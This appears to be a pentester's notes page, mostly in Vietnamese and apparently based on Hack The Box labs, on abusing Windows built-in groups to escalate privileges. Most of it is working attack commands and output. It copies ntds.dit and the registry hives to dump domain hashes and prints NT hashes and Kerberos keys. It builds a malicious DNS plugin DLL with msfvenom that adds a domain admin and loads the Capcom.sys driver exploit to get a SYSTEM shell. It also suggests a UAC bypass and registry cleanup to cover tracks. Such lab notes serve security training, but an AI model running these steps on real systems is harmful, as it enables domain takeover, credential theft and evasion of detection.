Windows Built-in Groups

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Last updated 1 month ago

Windows Built-in Groups

https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory

Backup Operators

Users trong group này mặc định sẽ có quyền SeBackupPrivilege cho phép ta list được tất cả các file và làm một số thứ khác.

Để khai thác SeBackupPrivilege ta sẽ dùng script này: https://github.com/giuliano108/SeBackupPrivilege

PS C:\htb> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\htb> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\htb> Set-SeBackupPrivilege # Enable priv if it disable

# Copy file
PS C:\htb> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt

Ngoài ra ta cũng có thể copy file NTDS.dit của AD để dump hash

Đầu tiên dùng diskshadow để tạo ổ đĩa ảo, khi copy tránh ảnh hưởng đến ổ đĩa C hiện tại

PS C:\htb> diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 12:57:52 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

PS C:\htb> dir E:


    Directory: E:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         5/6/2021   1:00 PM                Confidential
d-----        9/15/2018  12:19 AM                PerfLogs
d-r---        3/24/2021   6:20 PM                Program Files
d-----        9/15/2018   2:06 AM                Program Files (x86)
d-----         5/6/2021   1:05 PM                Tools
d-r---         5/6/2021  12:51 PM                Users
d-----        3/24/2021   6:38 PM                Windows

Dùng lệnh này để bypas ACL và copy ntds.dit file

PS C:\htb> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Copied 16777216 bytes

Lấy thêm SAM và SYSTEM reg

C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV

The operation completed successfully.


C:\htb> reg save HKLM\SAM SAM.SAV

The operation completed successfully.

Extract bằng Win

PS C:\htb> Import-Module .\DSInternals.psd1
PS C:\htb> $key = Get-BootKey -SystemHivePath .\SYSTEM
PS C:\htb> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key

DistinguishedName: CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
Sid: S-1-5-21-669053619-2741956077-1013132368-500
Guid: f28ab72b-9b16-4b52-9f63-ef4ea96de215
SamAccountName: Administrator
SamAccountType: User
UserPrincipalName:
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount, PasswordNeverExpires
AdminCount: True
Deleted: False
LastLogonDate: 5/6/2021 5:40:30 PM
DisplayName:
GivenName:
Surname:
Description: Built-in account for administering the computer/domain
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
DiscretionaryAclProtected, SelfRelative
Owner: S-1-5-21-669053619-2741956077-1013132368-512
Secrets
  NTHash: cf3a5525ee9414229e66279623ed5c58
  LMHash:
  NTHashHistory:
  LMHashHistory:
  SupplementalCredentials:
    ClearText:
    NTLMStrongHash: 7790d8406b55c380f98b92bb2fdc63a7
    Kerberos:
      Credentials:
        DES_CBC_MD5
          Key: d60dfbbf20548938
      OldCredentials:
      Salt: WIN-NB4NGP3TKNKAdministrator
      Flags: 0
    KerberosNew:
      Credentials:
        AES256_CTS_HMAC_SHA1_96
          Key: 5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
          Iterations: 4096
        AES128_CTS_HMAC_SHA1_96
          Key: 94c300d0e47775b407f2496a5cca1a0a
          Iterations: 4096
        DES_CBC_MD5
          Key: d60dfbbf20548938
          Iterations: 4096
      OldCredentials:
      OlderCredentials:
      ServiceCredentials:
      Salt: WIN-NB4NGP3TKNKAdministrator
      DefaultIterationCount: 4096
      Flags: 0
    WDigest:
Key Credentials:
Credential Roaming
  Created:
  Modified:
  Credentials:

Extract bằng Linux

endy21@htb[/htb]$ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0xc0a9116f907bd37afaaa845cb87d0550
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 85541c20c346e3198a3ae2c09df7f330
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WINLPE-DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7abf052dcef31f6305f1d4c84dfa7484:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129:::
htb-student:1103:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
bob:1105:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
hyperv_adm:1106:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
printsvc:1107:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::

<SNIP>

Event Log Readers

Check quyền

C:\htb> net localgroup "Event Log Readers"

Alias name     Event Log Readers
Comment        Members of this group can read event logs from local machine

Members

-------------------------------------------------------------------------------
logger
The command completed successfully.

Search logs tìm thông tin

PS C:\htb> wevtutil qe Security /rd:true /f:text | Select-String "/user"

        Process Command Line:   net use T: \\fs01\backups /user:tim MyStr0ngP@ssword

Pass credentials vào wevutil để search trên máy khác

C:\htb> wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"

Dùng Get-WinEvent

PS C:\htb> Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

CommandLine
-----------
net use T: \\fs01\backups /user:tim MyStr0ngP@ssword

DNS Admin

Ý tưởng là lợi dùng quyền DNS Admin dùng cmd dnscmd.exe để thêm DLL độc hại như là plugin. Sau đó (nếu có quyền) restart DNS service. Lúc này DLL độc hại sẽ được add vào reg và được thực thi.

Các bước thực hiện

Tạo dll độc hại

endy21@htb[/htb]$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll

Add dll độc hại thành plugin

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Check quyền xem DNS Admin có quyền restart DNS service không (mặc định là ko có)

C:\htb> sc.exe sdshow DNS

D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Thấy RPWP có nghĩa là có quyền stop và start

Restart service

C:\htb> sc stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530
        
C:\htb> sc start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 6960
        FLAGS              :

Covertrack xóa reg và restart lại DNS

C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
    GlobalQueryBlockList    REG_MULTI_SZ    wpad\0isatap
    EnableGlobalQueryBlockList    REG_DWORD    0x1
    PreviousLocalHostname    REG_SZ    WINLPE-DC01.INLANEFREIGHT.LOCAL
    Forwarders    REG_MULTI_SZ    1.1.1.1\08.8.8.8
    ForwardingTimeout    REG_DWORD    0x3
    IsSlave    REG_DWORD    0x0
    BootMethod    REG_DWORD    0x3
    AdminConfigured    REG_DWORD    0x1
    ServerLevelPluginDll    REG_SZ    adduser.dll
    
C:\htb> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll

Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.

Ta cũng có thể dùn Mimilib.dll để exploit. Tham khảo:

HyperV Admin

Print Operators

User trong group này sẽ có quyền SeLoadDriverPrivilege có thể thêm, sửa, xóa, quản lý printers connections của Domain Controller

Nếu ta nằm trong group này mà không thấy quyền SeLoadDriverPrivilege thì rất có thể là UAC đã chặn, ta có thể bypass UAC bằng tool này https://github.com/hfiref0x/UACME

Ý tưởng tấn công là load một driver độc hại cho phép thực thi cmd (Capcom.sys). Để làm được ta cần 1 tool hỗ trợ load driver. Link tool để load drive: https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp

Sau khi tải về thì thêm vào các dòng khai báo sau

#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"

Rồi complie ra file exe

C:\Users\mrb3n\Desktop\Print Operators>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp

Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29913.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj

Tiếp theo ta tải Capcom.sys về và quăng lên máy target

Thêm Capcom.sys vào reg

C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"

The operation completed successfully.


C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

The operation completed successfully.

Chạy tool load để load driver

C:\htb> EnableSeLoadDriverPrivilege.exe

whoami:
INLANEFREIGHT0\printsvc

whoami /priv
SeMachineAccountPrivilege        Disabled
SeLoadDriverPrivilege            Enabled
SeShutdownPrivilege              Disabled
SeChangeNotifyPrivilege          Enabled by default
SeIncreaseWorkingSetPrivilege    Disabled
NTSTATUS: 00000000, WinError: 0

Kiểm tra

PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom

Driver Name           : Capcom.sys
Filename              : C:\Tools\Capcom.sys

Để lợi dụng Capcom.sys ta dùng ExploitCapcom

PS C:\htb> .\ExploitCapcom.exe

[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched

Tool sẽ popup một cmd prompt có quyền SYSTEM

Nếu không có GUI ta có thể chỉnh code của ExploitCapcom.cpp như sau

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}

Replace dòng 292 thành load 1 con hàng revershell (msfvenom chẳng hạn)

Hoặc ta có thể tự động exploit bằng tool: https://github.com/TarlogicSecurity/EoPLoadDriver/

C:\htb> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0

Sau đó chạy ExploitCapcom.exe để call SYSTEM

PS C:\htb> .\ExploitCapcom.exe

[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched

Covertrack

C:\htb> reg delete HKCU\System\CurrentControlSet\Capcom

Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes

The operation completed successfully.

Server Operators

User trong group này sẽ có quyền SeBackupPrivilege và SeRestorePrivilege để control local service

Check permision service với PSService

C:\htb> c:\Tools\PsService.exe security AppReadiness